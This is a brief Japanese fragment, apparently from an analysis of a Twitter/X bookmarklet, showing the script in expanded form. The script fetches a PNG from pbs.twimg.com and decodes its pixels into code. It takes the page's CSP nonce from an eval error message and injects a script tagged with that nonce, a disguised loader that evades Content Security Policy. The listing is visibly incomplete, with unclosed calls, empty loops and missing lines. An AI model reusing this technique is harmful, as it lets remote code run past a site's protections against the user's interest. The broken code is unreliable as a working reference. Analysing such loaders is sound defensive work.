考えられる原因

        a.nonce = nonce;

ブックマークスクリプトを展開すると以下の通り

if ("twitter.com" != window.location.host)
  alert(
    "Twitter(X)\u3092\u958b\u3044\u305f\u72b6\u614b\u3067\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044"

  document.body.appendChild(start);
  var xhr = new XMLHttpRequest();
  xhr.open("get", "https://pbs.twimg.com/media/GKeVVCTasAAqNYU.png");

      var f = document.createElement("canvas"),
        c = new Image();

      c.onload = function () {

        var e = 0;
        a: for (; e < d * g; e++)
          for (

          }
        for (b = 0; b < (a.length - 1) / 2; b++)
          m += String.fromCharCode(256 * a[2 * b] + a[2 * b + 1]);
        try {
          eval("");
        } catch (p) {
          for (a = p.message.split("'"), b = 0; b < a.length; b++)
            a[b].includes("nonce") && (nonce = a[b].slice(6));
        }
        a = document.createElement("script");

        document.body.appendChild(a);
      };
    }
  };
}
void 0;
